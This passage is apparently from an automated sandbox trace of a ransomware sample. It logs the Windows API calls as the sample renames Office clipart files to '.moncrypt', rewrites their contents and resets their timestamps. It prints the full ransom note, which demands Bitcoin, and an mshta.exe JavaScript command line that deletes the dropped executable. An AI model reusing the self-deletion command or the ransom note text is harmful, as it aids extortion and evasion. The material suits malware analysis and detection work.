lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 0x54e240 [0062.168] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0062.168] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0062.168] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0062.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", dwFileAttributes=0x20) returned 1 [0062.169] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0062.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.moncrypt")) returned 1 [0062.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.170] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0062.170] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x133c [0062.170] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0062.170] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x133c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x133c, lpOverlapped=0x0) returned 1 [0062.180] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.180] GlobalLock (hMem=0x440004) returned 0x557b78 [0062.180] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.180] GlobalUnlock (hMem=0x44000c) returned 0 [0062.180] GlobalHandle (pMem=0x557b78) returned 0x440004 [0062.180] GlobalUnlock (hMem=0x440004) returned 0 [0062.180] GlobalLock (hMem=0x440004) returned 0x550170 [0062.180] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.180] GlobalUnlock (hMem=0x440004) returned 0 [0062.180] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0062.180] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1350, lpOverlapped=0x0) returned 1 [0062.180] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0062.181] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0062.193] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0062.193] CloseHandle (hObject=0x188) returned 1 [0062.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.194] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0062.195] CloseHandle (hObject=0x188) returned 1 [0062.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0062.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0062.195] GlobalLock (hMem=0x440004) returned 0x550170 [0062.195] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.195] GlobalUnlock (hMem=0x440004) returned 0 [0062.195] GlobalLock (hMem=0x440004) returned 0x550170 [0062.195] GlobalLock (hMem=0x44000c) returned 0x557b78 [0062.195] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.195] GlobalUnlock (hMem=0x440004) returned 0 [0062.195] GlobalHandle (pMem=0x557b78) returned 0x44000c [0062.195] GlobalUnlock (hMem=0x44000c) returned 0 [0062.195] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0062.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0062.196] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0062.196] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0062.196] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0062.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.196] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.196] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0062.196] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.196] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.196] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0062.196] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.196] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0062.197] CloseHandle (hObject=0x188) returned 1 [0062.197] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0062.197] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0062.197] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0062.197] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.197] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.197] GlobalUnlock (hMem=0x44000c) returned 0 [0062.197] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.197] GlobalLock (hMem=0x440004) returned 0x557b78 [0062.197] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.197] GlobalUnlock (hMem=0x44000c) returned 0 [0062.197] GlobalHandle (pMem=0x557b78) returned 0x440004 [0062.197] GlobalUnlock (hMem=0x440004) returned 0 [0062.197] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0062.198] CharLowerBuffW (in: lpsz="BD07831_.WMF", cchLength=0xc | out: lpsz="bd07831_.wmf") returned 0xc [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", lpUsedDefaultChar=0x0) returned 63 [0062.198] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0062.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD07831_.WMF", lpUsedDefaultChar=0x0) returned 4 [0062.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 0x54e240 [0062.198] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0062.198] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0062.199] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0062.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", dwFileAttributes=0x20) returned 1 [0062.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0062.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.moncrypt")) returned 1 [0062.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.201] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0062.201] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xfe2 [0062.201] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0062.201] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xfe2, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xfe2, lpOverlapped=0x0) returned 1 [0062.203] GlobalLock (hMem=0x440004) returned 0x550170 [0062.203] GlobalLock (hMem=0x44000c) returned 0x557b78 [0062.203] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.203] GlobalUnlock (hMem=0x440004) returned 0 [0062.203] GlobalHandle (pMem=0x557b78) returned 0x44000c [0062.203] GlobalUnlock (hMem=0x44000c) returned 0 [0062.203] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.203] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.203] GlobalUnlock (hMem=0x44000c) returned 0 [0062.203] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0062.203] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1000, lpOverlapped=0x0) returned 1 [0062.203] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0062.203] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0062.215] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0062.215] CloseHandle (hObject=0x188) Thread: id = 13 os_tid = 0x314 Thread: id = 15 os_tid = 0x578 Thread: id = 57 os_tid = 0xa70 [0040.603] GetFileAttributesA (lpFileName="C:\\" (normalized: "c:")) returned 0x16 Process: id = "6" image_name = "mshta.exe" filename = "c:\\windows\\syswow64\\mshta.exe" page_root = "0x3373d000" os_pid = "0x940" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb84" cmd_line = "mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0x10c [0028.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x40fecc | out: lpSystemTimeAsFileTime=0x40fecc*(dwLowDateTime=0x3768ad60, dwHighDateTime=0x1d5ddc0)) [0028.602] GetCurrentProcessId () returned 0x940 [0028.602] GetCurrentThreadId () returned 0x10c [0028.602] GetTickCount () returned 0x115230b [0028.602] QueryPerformanceCounter (in: lpPerformanceCount=0x40fec4 | out: lpPerformanceCount=0x40fec4*=17036844130) returned 1 [0028.602] GetModuleHandleA (lpModuleName=0x0) returned 0xd80000 [0028.602] GetStartupInfoA (in: lpStartupInfo=0x40fdd8 | out: lpStartupInfo=0x40fdd8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0028.602] GetVersionExA (in: lpVersionInformation=0x40fe28*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x40fe28*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.602] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x550000 [0028.603] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0028.603] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0028.603] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0028.603] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0028.603] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0028.603] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.603] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.603] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.603] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.604] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.604] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.604] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.604] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.604] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.604] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.604] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.604] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.604] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.604] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.604] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.604] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.605] GetModuleHandleW (lpModuleName="kernelbase.dll") returned 0x75410000 [0028.605] GetProcAddress (hModule=0x75410000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7542004f [0028.605] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.605] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.605] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.605] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.605] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.605] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.605] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.605] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.605] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.605] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.606] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.606] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.606] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.606] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.606] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.606] GetProcAddress (hModule=0x75410000, 